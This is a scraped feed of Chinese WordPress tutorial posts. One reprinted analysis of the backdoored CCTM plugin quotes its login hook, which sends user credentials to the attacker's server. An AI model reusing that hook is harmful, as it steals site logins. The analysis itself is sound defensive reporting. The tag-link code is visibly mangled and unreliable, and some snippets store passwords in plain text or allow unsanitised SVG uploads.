首先到插件的设置页面,滚动到最下边,找到 “Use CSS”,在这里禁用默认的 CSS 样式(取消勾选)。

WordPress 文章表态插件:Reaction Buttons

然后把自定义 CSS 代码放到主题或子主题的 CSS 文件中。

下边是我的自定义 CSS:

div.reaction_buttons:after {
    content: '';
    clear: both;
    display: block;
    height: 0;
}
 
div.reaction_buttons .reaction_buttons_tagline {
    font-size: 18px;
    border-bottom: 1px solid #E5E5E5;
    line-height: 35px;
}
 
div.reaction_buttons .reaction_button {
    background: #FAFAFA;
    text-decoration: none;
    display: block;
    float: left;
    color: #333;
    margin-right: 10px;
    padding: 5px 10px;
    border: 1px solid #E5E5E5;
    cursor: pointer;
}
 
div.reaction_buttons .reaction_button:hover {
    opacity: .8;
}

显示出来是这个样子的:

WordPress 文章表态插件:Reaction Buttons

插件主页

插件主页:https://wordpress.org/plugins/reaction-buttons/

WordPress 文章表态插件:Reaction Buttons,首发于蓝月网络

]]>
降级 WordPress 到以前的版本 https://lanyueer.com/downgrade/ Fri, 10 Jun 2016 14:34:10 +0000 http://lanyueer.com/?p=599 WordPress 是一个更新很频繁的软件,因为有完善的在线更新系统,所以更新起来也非常简单、轻松。虽然我一直…

降级 WordPress 到以前的版本,首发于蓝月网络

]]>
WordPress 是一个更新很频繁的软件,因为有完善的在线更新系统,所以更新起来也非常简单、轻松。虽然我一直推荐使用最新版本,但是如果你喜欢的插件不支持新版本,或者新版本出现了无法忍受的 Bug,也可以选择暂缓升级计划。

但如果已经更新,就需要考虑如何降级 WordPress 为之前的版本了。降级 WordPress 不同于升级那么轻松,虽然理论上可以降级到任何版本,但是如果相隔时间太久,可能会因为数据库结构的变化而降级失败。

备份数据

首先,如果网站流量很大并且不急于降级的话,建议在深夜访客较少时进行降级操作,避免因为我们的操作导致短时间无法访问,给用户造成困扰。

因为降级会大量的修改文件和数据库,所以在这之前一定要临时备份数据库,并且备份网站文件(可选),以防万一。

手动降级 WordPress 版本

备份完成之后就可以正式开始降级工作了,严格按照本教程的顺序进行操作,可以把操作过程中,网站无法访问的时间缩到最短,流量损失降到最低。

1、下载旧版本文件,并简单处理。你可以点击此处进入各个版本的中文 WordPress 下载列表,选择你需要的版本下载。

下载好之后解压文件,进入 “WordPress” 文件夹,删除里边的 “wp-content” 文件夹,然后把文件留在一边备用。

降级 WordPress 到以前的版本

2、进入网站后台的“插件”→“已安装的插件”页面,停用所有插件:

降级 WordPress 到以前的版本

此举是为了避免降级后因为插件不兼容旧版本,而出现致命错误,导致网站白屏。

3、使用 FTP 之类的软件,将之前下载并处理好的旧版 WordPress 文件上传到网站上,替换掉之前的(千万不要替换网站的 wp-content 文件夹)

降级 WordPress 到以前的版本

4、文件替换完成之后,进入网站后台。一般会提示“需要升级数据库”,直接点击按钮升级即可:

降级 WordPress 到以前的版本

出现“升级完成”后,点击“继续”进入后台。如果这时没有出现错误的话,那么恭喜了,基本已经可以算是降级成功!

5、降级成功之后,可以重新启用之前的插件。即使插件不兼容旧版的 WordPress,也会在启用的时候告知出现致命错误启用失败,而不是白屏无法访问。另外,如果你想一眼看出那些插件不兼容旧版,可以使用Better Plugin Compatibility Control 插件检测兼容性。

降级之后变成英文版怎么办?

降级后如果后台变成了英语,最可能的是因为版本跨越太久,导致确定语言的方式发生变化。这时可以利用手动修改 WordPress 语言的方式把语言改成简体中文。

另外,如果改成中文之后还有一些地方是英文,可以找回之前删除的 “wp-content” 文件夹,然后复制里边的 “languages” 文件夹,用 FTP 软件覆盖到网站的同一目录。

降级 WordPress 到以前的版本,首发于蓝月网络

]]>
Best Trace可视化路由追踪线路工具辅助选择VPS主机 https://lanyueer.com/best-trace-assisted-selection-vps-hosting/ Sun, 15 May 2016 13:03:48 +0000 http://lanyueer.com/?p=590 我们用户在选择VPS、服务器等主机产品的时候,无论是看中诱人的价格,还是商家的各种轮番促销或者送钱活动,最为关…

Best Trace可视化路由追踪线路工具辅助选择VPS主机,首发于蓝月网络

]]>
我们用户在选择VPS、服务器等主机产品的时候,无论是看中诱人的价格,还是商家的各种轮番促销或者送钱活动,最为关键的还是需要速度和稳定。然而,即便我们初期购买的手看到、体验到的速度和线路,也不能代表以后永久不变的稳定,可能会因为某些问题商家调整线路。比如当前SL亚洲线路绕道美国,以前还不错的Vultr日本也绕线美国,这样的调整势必会让我们选择上需要一些调整。
最近一段时间,很多网友也有看到在评测VPS主机线路的时候有一些截图路由追踪是用到的可视化地图模式,这样比原先我们可能会用到的WinMTR、WEBKAKA路由追踪工具还更为的直观一些。

工具介绍

Best Trace,出自IPIP官方网站,目前有基于MAC、IOS、Android、以及Windows系统的版本,我们可以通过工具快速的从本地到主机之间的路由追踪,直观的看看线路直连还是绕线。

工具下载

下载地址:http://www.ipip.net/download.html
选择对应需要的版本,下载后安装即可。

Best Trace工具体验

Best-Trace-1
简单测试后这款工具还是比较准确的,我们在使用之前可以更新IP库(这里我用SL香港看看)
Best-Trace-2

上图是我用SL香港IP地址测试的,可以看到当前我本地所在的电信线路绕一圈的。
总结,这样如果我们在选择VPS主机的时候可以使用Best Trace工具来跟踪路由看看线路的情况,辅助我们的选择。

Best Trace可视化路由追踪线路工具辅助选择VPS主机,首发于蓝月网络

]]>
WordPress禁用Emoji https://lanyueer.com/wordpress-disable-emoji/ Sat, 14 May 2016 00:27:03 +0000 http://lanyueer.com/?p=589 把如下代码copy到主题的functions.php文件即可 remove_action( 'admi…

WordPress禁用Emoji,首发于蓝月网络

]]>
把如下代码copy到主题的functions.php文件即可

  1. remove_action( 'admin_print_scripts', 'print_emoji_detection_script');
  2. remove_action( 'admin_print_styles', 'print_emoji_styles');
  3.  
  4. remove_action( 'wp_head', 'print_emoji_detection_script', 7);
  5. remove_action( 'wp_print_styles', 'print_emoji_styles');
  6.  
  7. remove_filter( 'the_content_feed', 'wp_staticize_emoji');
  8. remove_filter( 'comment_text_rss', 'wp_staticize_emoji');
  9. remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email');

WordPress禁用Emoji,首发于蓝月网络

]]>
使用 WP_Query 而不是 query_posts 自定义 WordPress 主循环 https://lanyueer.com/define-wordpress-loop-using-wp_query/ Sat, 23 Apr 2016 11:56:51 +0000 http://lanyueer.com/?p=587 query_posts 存在的问题 我们知道操作 WordPress 主循环(WordPress Loop)最…

使用 WP_Query 而不是 query_posts 自定义 WordPress 主循环,首发于蓝月网络

]]>
query_posts 存在的问题

我们知道操作 WordPress 主循环(WordPress Loop)最容易的方法是使用 query_posts 函数。

但是使用 query_posts 直接修改 WordPress 默认的主循环,会有以下的问题:

会干扰那些用到了 WordPress 循环的插件。
可能使一些 WordPress 条件判断函数失效。
需要去处理重新设置,回滚和偏移等问题。

使用 WP_Query 自定义 WordPress Loop

所以最好是使用 WP_Query,并创建自己的 WordPress 循环。

使用 WP_Query 第一步是创建你自己的变量,比如我们要创建一个最新日志列表,就可以使用下面的代码:

  1. <?php
  2.     $recentPosts = new WP_Query();
  3.     $recentPosts->query('showposts=5');
  4. ?>

上面代码定义了一个叫做 recentPosts 的变量,它是一 WP_Query 类的一个实例。然后我使用了 WP_Query 的一个方法开始一个查询,我们可以使用和 query_posts 函数一样的参数。现在就可以开始我们自己的循环了:

  1. <?php while ($recentPosts->have_posts()) : $recentPosts->the_post(); ?>
  2.    <!-- do some stuff here -->
  3. <?php endwhile; ?>

上面我们用了 WP_Query 的两个方法,分别是 have_posts 和 the_post。

这样做的好处是在循环中,我们可以使用标准的 post 模板函数。比如下面是使用自定义的 Loop 先是最新5篇文章的完整代码:

  1. <h 3>最新日志</h3>
  2. <ul>
  3. <?php
  4.     $recentPosts = new WP_Query();
  5.     $recentPosts->query('showposts=5');
  6. ?>
  7. <?php while ($recentPosts->have_posts()) : $recentPosts->the_post(); ?>
  8.     <li><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></li>
  9. <?php endwhile; ?>
  10. <?php wp_reset_query(); ?>
  11. </ul>

简单总结

使用 WP_Query 自定义 WordPress 循环是不干扰默认的 WordPress 主循环,而自定义查询的一种最简单最好方法。所以我们还能一个页面同时运行完全独 WordPress 循环。

使用 WP_Query 而不是 query_posts 自定义 WordPress 主循环,首发于蓝月网络

]]>
WordPress无插件自动实现tag关键字内链,抛弃wp-keyword-link https://lanyueer.com/wordpress-tag-keyword-link/ Sat, 16 Apr 2016 08:34:26 +0000 http://lanyueer.com/?p=586 之前一直使用WP keyword link这个插件给文章中的关键字增加内链,以优化SEO。但插件多了对博客的速…

WordPress无插件自动实现tag关键字内链,抛弃wp-keyword-link,首发于蓝月网络

]]>
之前一直使用WP keyword link这个插件给文章中的关键字增加内链,以优化SEO。但插件多了对博客的速度肯定有影响,所以找了个无插件实现的方法。实现起来也很简单,只需在主题文件夹中的function.php最后一个?>之前增加以下代码即可实现tag自动内链:

  1. //tag自动内链
  2. $match_num_from = 1;  //一篇文章中同一个关键字少于多少不锚文本(这个直接填1就好了)
  3. $match_num_to = 2; //一篇文章中同一个关键字最多出现多少次锚文本(建议不超过2次)
  4. //连接到WordPress的模块
  5. add_filter('the_content','tag_link',1);
  6. //按长度排序
  7. function tag_sort($a, $b){
  8. 	if ( $a->name == $b->name ) return 0;
  9. 	return ( strlen($a->name) > strlen($b->name) ) ? -1 : 1;
  10. }
  11. //改变标签关键字
  12. function tag_link($content){
  13. global $match_num_from,$match_num_to;
  14. 	 $posttags = get_the_tags();
  15. 	 if ($posttags) {
  16. 		 usort($posttags, "tag_sort");
  17. 		 foreach($posttags as $tag) {
  18. 			 $link = get_tag_link($tag->term_id);
  19. 			 $keyword = $tag->name;
  20. 			 //连接代码
  21. 			 $cleankeyword = stripslashes($keyword);
  22. 			 $url = "<a title="\"".str_replace('%s',addcslashes($cleankeyword," href="\"$link\"" target="_blank">".addcslashes($cleankeyword, '$')."</a>";
  23. 			 $limit = rand($match_num_from,$match_num_to);
  24.  
  25. 			//不连接的代码
  26.                          $content = preg_replace( '|(<a[^>]+>)(.*)('.$ex_word.')(.*)(]*>)|U'.$case, '$1$2%&&&&& %$4$5', $content);
  27. 			 $content = preg_replace( '|(<img)(.*?)('.$ex_word.')(.*?)(>)|U'.$case, '$1$2%&&&&& %$4$5', $content);
  28.  
  29. 				$cleankeyword = preg_quote($cleankeyword,'\'');
  30.  
  31. 					$regEx = '\'(?!((<.*?)|(<a.*?)))('. $cleankeyword . ')(?!(([^<>]*?)>)|([^>]*?))\'s' . $case;
  32.  
  33. 				$content = preg_replace($regEx,$url,$content,$limit);
  34.  
  35. 	$content = str_replace( '%&&&&& %', stripslashes($ex_word), $content);
  36.  
  37. 		 }
  38. 	 }
  39.     return $content;
  40. }

更新你的博客看看,是不是已经有效果啦?

WordPress无插件自动实现tag关键字内链,抛弃wp-keyword-link,首发于蓝月网络

]]>
WordPress无插件实现SMTP发送邮件 https://lanyueer.com/wordpress-smtp-send-mail-without-plugin/ Sat, 16 Apr 2016 08:31:49 +0000 http://lanyueer.com/?p=585 在使用WordPress的过程中,不可避免地要用到邮件功能。WP自带了mail函数,但用自带mail函数发送邮…

WordPress无插件实现SMTP发送邮件,首发于蓝月网络

]]>
在使用WordPress的过程中,不可避免地要用到邮件功能。WP自带了mail函数,但用自带mail函数发送邮件很容易失败或者被拒收。所以很多人选择用更方便高效的SMTP来发送邮件。要用SMTP发送邮件,首先需要拥有一个支持SMTP的邮箱(包括Gmail、QQ、126、163等主流邮箱都支持SMTP功能,可能需要到设置中打开),然后在WordPress中简单设置一下。你可以选择用插件,Configure SMTP或者WP Mail SMTP都是不错的插件。前者还支持调试,可以方便地知道是什么原因导致发送失败。下面介绍的是无插件实现SMTP发送功能,毕竟插件多了对速度有不利的影响。

这个功能实现起来也很简单,有两种方法可以实现。

第一种

:打开主题文件夹下的functions.php(主机目录/wp-content/themes/主题名/functions.php),在最后一个 ?> 之前加上下面的代码即可:

  1. //使用smtp发邮件
  2.  
  3. add_action('phpmailer_init', 'mail_smtp');
  4.  
  5. function mail_smtp( $phpmailer ) {
  6.  
  7. $phpmailer->IsSMTP();
  8.  
  9. $phpmailer->SMTPAuth = true;//启用SMTPAuth服务
  10.  
  11. $phpmailer->Port = 465; //SMTP邮件发送端口,常用端口有:25、465和587(后两个为ssl安全连接端口)。
  12.  
  13. $phpmailer->SMTPSecure ="ssl"; //是否通过 ssl 连接,如果端口为25,则此处将"ssl"改为空白即"",否则不必改动
  14.  
  15. $phpmailer->Host = "smtp.gmail.com"; // SMTP服务器地址,在邮箱设置或者帮助中心中可以找到
  16.  
  17. $phpmailer->Username = "username@gmail.com"; //你的邮箱地址
  18.  
  19. $phpmailer->Password ="******"; //你的邮箱登陆密码
  20.  
  21. }

第二种

:直接修改WordPress源文件class-phpmailer.php和pluggable.php,这个方法需要对WordPress的2个源文件做小小的修改。好处就是你不需要每次更改主题都修改functions.php,而且更安全。

在WordPress的wp-includes目录下找到pluggable.php和class-phpmailer.php两个文件。

将pluggable.php中的”$phpmailer->IsMail(); “替换为:”$phpmailer->IsSMTP();”

在class-phpmailer.php中修改下面对应的设置:

  1. public $Mailer = 'smtp';
  2. public $Host = 'smtp.gmail.com';  //邮箱的SMTP服务器地址
  3. public $Port = 465;  //SMTP邮件发送端口
  4. public $SMTPSecure = "ssl"; //是否验证 ssl或tls
  5. public $SMTPAuth = true; //开启SMTPAuth
  6. public $Username = 'username@gmail.com'; //你的邮箱地址
  7. public $Password = '******'; //你的邮箱登陆密码

快去试一下,跟插件说拜拜吧~

WordPress无插件实现SMTP发送邮件,首发于蓝月网络

]]>
让WordPress支持SVG等格式的多媒体上传 https://lanyueer.com/wordpress-add-upload-mimes/ Sat, 16 Apr 2016 08:05:12 +0000 http://lanyueer.com/?p=583 今天要传个SVG格式图片,才发现WordPress不支持SVG格式文件的上传。提示 抱歉,出于安全的考虑,不支…

让WordPress支持SVG等格式的多媒体上传,首发于蓝月网络

]]>
今天要传个SVG格式图片,才发现WordPress不支持SVG格式文件的上传。提示

抱歉,出于安全的考虑,不支持此文件类型。

wordpress-support-svg-upload

百度了一下解决方法,做个笔记。

解决办法

将下面的代码放进主题文件夹functions.php中。若要支持其他格式的文件(如rar等),参照第二行代码增加就行~

  1. function my_upload_mimes($mimes = array()) {
  2.     $mimes['svg'] = 'image/svg+xml';
  3.     return $mimes;
  4. }
  5. add_filter('upload_mimes', 'my_upload_mimes');

当然也可以在wp-includes/functions.php中找到wp_get_mime_types()函数,在其中按照对应格式添加即可。

关于SVG

SVG可缩放矢量图形(Scalable Vector Graphics)是基于可扩展标记语言(XML),用于描述二维矢量图形的一种图形格式。SVG是W3C(“World Wide Web ConSortium”即”国际互联网标准组织”)在2000年8月制定的一种新的二维矢量图形格式,也是规范中的网络矢量图形标准。SVG严格遵从XML语法,并用文本格式的描述性语言来描述图像内容,因此是一种和图像分辨率无关的矢量图形格式。

让WordPress支持SVG等格式的多媒体上传,首发于蓝月网络

]]>
WordPress禁止加载自带的jQuery.js的方法 https://lanyueer.com/ban-wordpress-from-loading-built_in-jquery/ Sat, 16 Apr 2016 08:00:20 +0000 http://lanyueer.com/?p=582 对于WordPress来说,最重要的JS莫过于jQuery.js了,不少功能都需要它的支持。如果我们引用了CD…

WordPress禁止加载自带的jQuery.js的方法,首发于蓝月网络

]]>
对于WordPress来说,最重要的JS莫过于jQuery.js了,不少功能都需要它的支持。如果我们引用了CDN公共库中的jQuery.js,或者主题自带了jQuery.min.js,就需要禁掉WordPress自带jQuery.js的加载了(不禁掉的话甚至还可能会出现新添加的js代码无法正常运行的情况)。

方法一 修改script-loader.php

最常见的方法,是修改/wp-includes/script-loader.php文件。将script-loader.php第127行(WordPress3.5.1中)

  1. $scripts->add( 'jquery', '/wp-includes/js/jquery/jquery.js', array(), '1.8.3' );

修改为

  1. if(is_admin()){
  2. 		$scripts->add( 'jquery', '/wp-includes/js/jquery/jquery.js', array(), '1.8.3' );
  3. 	}

即可。
之所以加上if(is_admin())语句而不是直接删除或者替代为自己的jQuery文件,是因为直接删除或者替代为自己的jQuery文件会导致后台无法使用自带的jQuery而出现错误。
这种方法的缺陷在于,WordPress升级之后修改的文件就会被覆盖,需要再次修改。

方法二 修改function.php

在主题文件夹下的function.php中,加入如下代码:

  1. //禁止加载WP自带的jquery.js
  2. if ( !is_admin() ) { // 后台不禁止
  3. function my_init_method() {
  4. wp_deregister_script( 'jquery' );  // 取消原有的 jquery 定义
  5. }
  6. add_action('init', 'my_init_method'); 
  7. }
  8. wp_deregister_script( 'l10n' );

跟方法一不同的是,根据方法二修改的文件不会因为WordPress的升级而被覆盖,但会因为主题的升级或更换而失效。大家可以根据自己的情况选择用哪种方法。

WordPress禁止加载自带的jQuery.js的方法,首发于蓝月网络

]]>
WordPress 自定义内容类型管理插件(CCTM)存在后门,可窃取管理员账号密码 https://lanyueer.com/cctm-backdoor-exists/ Wed, 13 Apr 2016 03:53:28 +0000 http://lanyueer.com/?p=571 据悉, Sucuri安全团队研究人员近日指出WordPress一款插件(自定义内容管理)CCTM存在后门。通过…

WordPress 自定义内容类型管理插件(CCTM)存在后门,可窃取管理员账号密码,首发于蓝月网络

]]>
据悉, Sucuri安全团队研究人员近日指出WordPress一款插件(自定义内容管理)CCTM存在后门。通过该后门,可以对WordPress上的核心文件进行篡改,以此记录并窃取感染站点管理员用户的登录账号及密码。

Freebuf 百科

自定义内容管理( Custom Content Type Manager )插件的功能

自定义内容类型管理(CCTM)允许用户创建自定义内容类型(也称为文章类型),也可以对每个下拉菜单、复选框和图像甚至于其他元素,提供标准化的自定义区域,这赋予了WordPress内容管理的功能。这个插件还允许导出和导入用户的内容定义,使得它易于在多个站点之间保证类似的结构。

假如想为博客添加一个单独的部分来发表电影评论。通过使用自定义文章类型,你可以创建一种新的文章类型,就像文章(posts)和页面(pages)一样,它可以包含一组不同的数据。比如新的管理菜单、专门的编辑页面、自定义分类 和 更多实用的发布管理功能。自定义文字类型 拥有新的文章管理选项,就像默认的文章类型(文章、页面、附件 )一样。一种 自定义文章类型 可以存储各种各样的信息。它有专门的编辑器、多媒体上传 并使用WordPress现有的表结构,便于数据管理。

后门的发现

此事件是由Sucuri安全团队(一个专门提供web安全服务的团队)首次进行追踪分析的。据Sucuri安全研究人员提到,

一开始他们是在其客户处发现一个命名奇怪的文件 (auto-update.php),而起初并没发现有可疑行为,直到该插件进行更新的时候。

Sucuri安全团队提到当他们在为客户 清除一个感染站点时,发现了一个可疑的文件auto-update.php,该文件是被存放在wp-content/plugins/custom-content-type-manager/.的路径下。具体如下图,

据研究分析,该后门程序,能从一个地址为 http://wordpresscore.com/plugins/cctm/update/ 的服务端下载文件,并将它们保存为.php格式存放在插件配置目录下

该插件既是上述提到的 Custom Content Type Manager (CCTM),在过去三年里该插件主要用于创建自定义文章类型,现在已经积累了一定的用户数量,据初步统计目前已经在超过10,000个站点上安装了该插件。

插件疑云,神秘的管理者

从 Sucuri安全团队两个星期的调查来看,该插件在过去的10个月将近一年看起来像一个被放弃的项目,并无任何更新,然而近期神秘地更换了管理者。而该名名为wooranker的新开发者随后更新了插件,发布了一个新的版本。

我们在官方插件目录中找到的每一个WordPress插件,都是通过子版本存储库进行升级的。在问题跟踪系统的帮助下,任何人都可以使用该存储库去搜索相应的信息(包括像对象,时间以及变更事项等)在任意插件的任意版本中。比如,下图为近期CCTM更改的情况,

我们可以从上面截图看到,其中的一次更改是于2016年2月18日增加了auto-update.php文件。在此次更新中,“wooranker”改动并增加了下面的描述信息,

“新管理者的小改动”(保留原始语法)

实际上,从上述截图中我们可以看到,两个星期前该插件仍然由fireproofsocks在维持更新,但之后其中的一项变动的描述为“将wooranker增添到readme中”,再到后面就变成wooranker在对该插件进行更新了。

或许该插件开发者已经对其失去兴趣,又或者受雇于wooranker。另一方面,因为实际上fireproofsocks已经将近一年没对该插件进行更新了,我们也推测是否 wooranke入侵了fireproofsocks的账户,随后增添了自身作为新的管理者。

此外,在2016年2月5日,wooranker也同时加入到 Postie 插件项目中。而其在Postie 插件项目的变动都为合法可查的,并且都由 Postie 插件的初始发起人同意。这一切看起来却有点令人摸不清头脑。那么接下来让我们来看看更新的恶意CCTM插件及wooranker 如何使用它入侵站点的。

自定义内容管理(CCTM)插件 0.9.8.8 版本存在恶意代码

而该名开发者对于更新的版本赋予了其新的“使命”。首先,新的版本如上述所看到的,增加了auto-update.php的文件,而据研究分析,该文件可从远程的服务器下载指定文件到受感染的站点。

通过Trac我们也看到了(于2月19日最后更新)。它增加了/includes/CCTM_Communicator.php文件( 该文件会与auto-update.php联合运行,其主要的任务为ping wooranker的服务器端从而使得服务器能记录新感染的站点IP地址等信息。 )以及将下述的代码段插入到插件的index.php文件中。

// Send plugin information when user login
function _wp_login_eventhandler($user_login, $user) {
require_once('includes/CCTM_Communicator.php');
$_objCCTMCom = new CCTM_Communicator();
$_objCCTMCom->addInfo(array($user_login, $user));
$_objCCTMCom->send_info();
}
add_action('wp_login', '_wp_login_eventhandler', 10, 2);

具体更改如下图,

该段代码作用为每当用户登录到WordPress站点时,将站点及用户的信息发送到wooranker的服务器( wordpresscore .com )上。

攻击路径重演

通过在受感染的站点上访问登陆,实现对攻击的回溯。

于2月28日,从源地址104.131.27.120发起了尝试使用Python脚本 (“python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-79-generic“)登录到WordPress。该站点的地址明显地通过新的CCTM_Communicator功能来获取的。

根据对受感染站点的监测,某次 wooranker企图登陆到一个受感染的站点,但由于站点管理员更改了登陆的URL,所以 wooranker未能成功入侵站点。随后看到尝试登陆受阻,wooranker也随即更改了策略。其利用auto-update.php后门,强制目标站点下载并安装另外一个名为c.php的文件,该文件主要用于创建另一名为wp-options.php的文件。后者主要用于篡改WordPress的核心文件。据研究发现,遭受篡改的主要有三个文件,

1、wp-login.php,将管理员用户的登录凭证发送至hxxp://wordpresscore .com/in/login/index.php;

2、wp-admin/user-new.php,窃取新创建的用户登录凭证,并将之发送至hxxp://wordpresscore .com/in/add-user/index.php;

3、wp-admin/user-edit.php,当用户修改密码时,窃取相关登录凭证,并将之发送到hxxp://wordpresscore .com/in/pass-change/index.php。

某些用户已自动更新至带有恶意代码的插件版本

上述的这些功能已被合并进CCTM(自定义内容类型管理)插件,版本为0.9.8.8,而目前已经有许多用户安装该版本,或者自动更新到他们的站点。

该名黑客针对核心WordPress文件的篡改,使得其能够控制用户登录、创建和编辑命令,同时在用户数据被加密之前将之拦截,并将用户的明文密码发送至服务器端。此外,wp-options.php甚至能在受感染的站点上创建管理员账户,一般以support为账户 / support@wordpresscore.com为邮箱进行创建。

综上的情况,wooranker可在所有受感染的站点上拥有管理员账户,当用户访问站点进行登录时,使用什么密码也会被通知到wooranker。

黑客的真正身份?

当我们在分析确认黑客身份的时候,还发现了插件更新上的一个变化。在wooranker获取插件管理者权限后,首先就是将donutjs(据其“官网”显示,其为js轻量级框架)引用到includes/CCTM.php文件中。

wp_enqueue_script(‘donutjs’, ‘//<b>donutjs.com</b>/jquery.js’ );

可能对于很多人来说,几乎都没听过donutjs,甚至当你在搜索引擎上搜索的时候,也不会出现相关信息的检索结果。而根据分析检索,从其“官网”获知donutjs是一个轻量级的框架,主要是为开发js应用提供支持,据其官网所称,其主要对标的是 jQuery。以下为其官网的地址( donutjs )及宣传。

与 jQuery语法的对比,举例如下图

1、淡出元素并删除

2、调用ajax

而经过分析发现,上述提到的donutjs .com/jquery.js返回的信息却是为,

该代码段也是用于收集记录站点地址的。

接着我们还发现,wooranker实际上还掌控着donutjs .com的权限。当我们进行whois时,返回结果如下,

wordpresscore .com

创建时间: 2015-11-23

注册姓名: Vishnudath Mangilipudi

管理员所在地: Andhra Pradesh

邮政编码: 524201

管理员所在国家: IN

管理员电话: +91.8985005295

DNS服务器:

NS1.DIGITALOCEAN.COM

NS2.DIGITALOCEAN.COM

NS3.DIGITALOCEAN.COM

donutjs .com

注册姓名: vishnudath

管理员所在国家: IN

管理员电话: +91.8985005295

其实在这里,就可以看出donutjs应该就是wooranker用以辅助收集站点信息之用,所伪造出来的js框架。

至于,从whois上的信息,我们可以发现,恶意代码中wordpresscore .com域名的实际拥有者是一名来自印度,名为Mangilipudi的开发者。但Sucuri安全团队尚不能确认Mangilipudi便是幕后的黑客,因为网络上个人身份信息可以被轻易窃取并伪造。而作为wooranker,如先前所述,他也是另外一个WordPress 插件 Postie 的开发者和管理者,但Sucuri指出Postie目前仍然被最早的发起人管理着,并也没在其中发现恶意代码。所以,针对黑客的真正身份,目前仍在分析。

建议

1、停用CCTM 插件;

2、检查所有的核心WordPress 文件,当然,用户除了可以重新安装WordPress达到该目的,至少应该确认以下三个文件是否遭受篡改,我们可以从以下地址获取初始文件,请点击: wordpress.org

(1) ./wp-login.php

(2) ./wp-admin/user-edit.php

(3) ./wp-admin/user-new.php

3、修改WordPress上所有用户的密码;

4、删除WordPress上无法识别的用户账号,特别是包含support@wordpresscore .com邮箱信息的账户。

5、如果确实需要在站点中维持CCTM插件,那么建议使用稳定版本0.9.8.6(版本0.9.8.7 已经发现有一个安全漏洞)。

WordPress 自定义内容类型管理插件(CCTM)存在后门,可窃取管理员账号密码,首发于蓝月网络

]]>
几款WordPress二维码生成插件深入比较 https://lanyueer.com/wordpress-dimensional-code-plugins/ Wed, 13 Apr 2016 03:11:25 +0000 http://lanyueer.com/?p=565 现在二维码的应用已经很普及了,在我们的每个网站上都可以看见,比如右下角的当前页二维码。一般我们用qrserve…

几款WordPress二维码生成插件深入比较,首发于蓝月网络

]]>
现在二维码的应用已经很普及了,在我们的每个网站上都可以看见,比如右下角的当前页二维码。一般我们用qrserver.com的在线生成器就能轻松在页面上实现任何文本的二维码,不过有时候qrserver.com服务器响应会变慢,甚至当掉,这样二维码就显示不出来了。而且使用qrserver.com这个资源的人越来越多,服务器压力的增加使得它的可靠性正在变低,是时候找一些替代方案了。于是我尝试了WordPress后台能搜到的几款人气看上去不错的二维码插件,做一下总结。

后台搜索关键词: QR Code

1. QR Code

和关键词同名的插件,自然是牌第一了,激活量不错。使用[qrcode url="http://abc.com" margin="10" size="100" before="QR Code" after="QR Code"]
这样的短代码在任何地方生成二维码。不过这款插件本身就是qrserver.com接口生成二维码的,因此没有任何可靠性的增加,果断放弃。

2. QR Code generator


也提供了相似短代码[qrcode content="CONTENT" size="120" alt="ALT_TEXT" class="CLASS_NAME"]
但在国内连上一款都不如,因为它用了googleapi,直接被墙… 选用插件的时候一定要注意很多WordPress插件都依赖googleapi,这在墙外是很正常的行为,在国内却行不通,这就大大缩小了我们的选择范围。

3. QR Code generator by Unitag


这款插件比起前两款来要强大很多,它是在WordPress的uploads文件夹下即时生成一张JPG格式图片作为二维码,这几乎已经符合我的要求了。然而在实际测试中它还有一个小问题没有解决 – 在使用CDN自动分发图片资源的网站环境中,这张即时生成的JPG不能第一时间被同步到分发网络上,这就导致了页面上的二维码要在页面刷新一次以上后,才会自动同步到分发网络上显示出来。对于一些要经常刷新二维码的应用,它就无能为力了,比如支付场景。

尝试到这里,我们的目标也渐渐明确了,我们需要的二维码最好是由客户端JS或服务器端PHP直接生成,不需要生成具体文件的。考虑到用PHP生成会耗费一定服务器资源,首选用JS生成。于是在尝试了更多几款后,我找到了:

Javascript QRcode Generator


这款插件使用了base64代码生成二维码图片,可谓绿色无污染。

并且在不支持base64的IE8-浏览器内黑自动降级到table格式显示二维码,这样状态下会使浏览器有一些卡顿,但我们早该淘汰IE8了不是么,况且他还是兼容IE678的。同样它也提供了短代码:

[jsqr msg="http://abc.com"/]

几款WordPress二维码生成插件深入比较,首发于蓝月网络

]]>
有用的WordPress搜索代码片段 https://lanyueer.com/wordpress-search-snippet/ Wed, 13 Apr 2016 02:56:57 +0000 http://lanyueer.com/?p=563 将指定的页面或者某分类下的日志从搜索结果中排除 下面的函数允许您将任何分类下的日志甚至是页面从搜索结果中排除掉…

有用的WordPress搜索代码片段,首发于蓝月网络

]]>
将指定的页面或者某分类下的日志从搜索结果中排除

下面的函数允许您将任何分类下的日志甚至是页面从搜索结果中排除掉。

  1. function SearchFilter($query) { 
  2.     if ($query->is_search) { 
  3.         $query->set('cat','0,1'); 
  4.     }     return $query; 
  5. }
  6.  
  7. add_filter('pre_get_posts','SearchFilter');

搜索特定的某个日志分类

这将从特定的分类中返回搜索结果:

  1. function SearchFilter($query) {  
  2. if ($query->is_search) {  
  3. // Insert the specific categories you want to search 
  4.  
  5.  
  6. $query->set('cat', '8,9,12');  
  7.   }  
  8. return $query;  
  9. }  
  10. add_filter('pre_get_posts','SearchFilter');

搜索某一特定的日志类型

仅搜索特定的日志类型,而将其他所有类型过滤掉。

  1. function SearchFilter($query) {  
  2. if ($query->is_search) {  
  3. // Insert the specific post type you want to search  
  4. $query->set('post_type', 'feeds');  
  5.   }  
  6. return $query;  
  7. }  
  8. // This filter will jump into the loop and arrange our results before they're returned 
  9.  
  10. add_filter('pre_get_posts','SearchFilter');

高亮WordPress搜索关键词(使用JQuery)

在WordPress搜索结果页面高亮显示关键词。将下面这段函数放到主题的functions.php文件中:

  1. function hls_set_query() {  
  2. $query  = attribute_escape(get_search_query());  
  3. if(strlen($query) > 0){  
  4. echo ' 
  5.  
  6.       <script type="text/javascript"> 
  7.  
  8.         var hls_query  = "'.$query.'"; 
  9.  
  10.       </script> 
  11.  
  12.     ';  
  13.   }  
  14. }  
  15. function hls_init_jquery() {  
  16.   wp_enqueue_script('jquery');  
  17. }  
  18. add_action('init', 'hls_init_jquery');  
  19. add_action('wp_print_scripts', 'hls_set_query');

再将下面这段代码放到主题的header.php文件中, 标签 的前面:

  1. <style type="text/css" media="screen">  
  2.     .hls { background: #D3E18A; }  
  3. </style>  
  4. <script type="text/javascript">  
  5. jQuery.fn.extend({  
  6. highlight: function(search, insensitive, hls_class){  
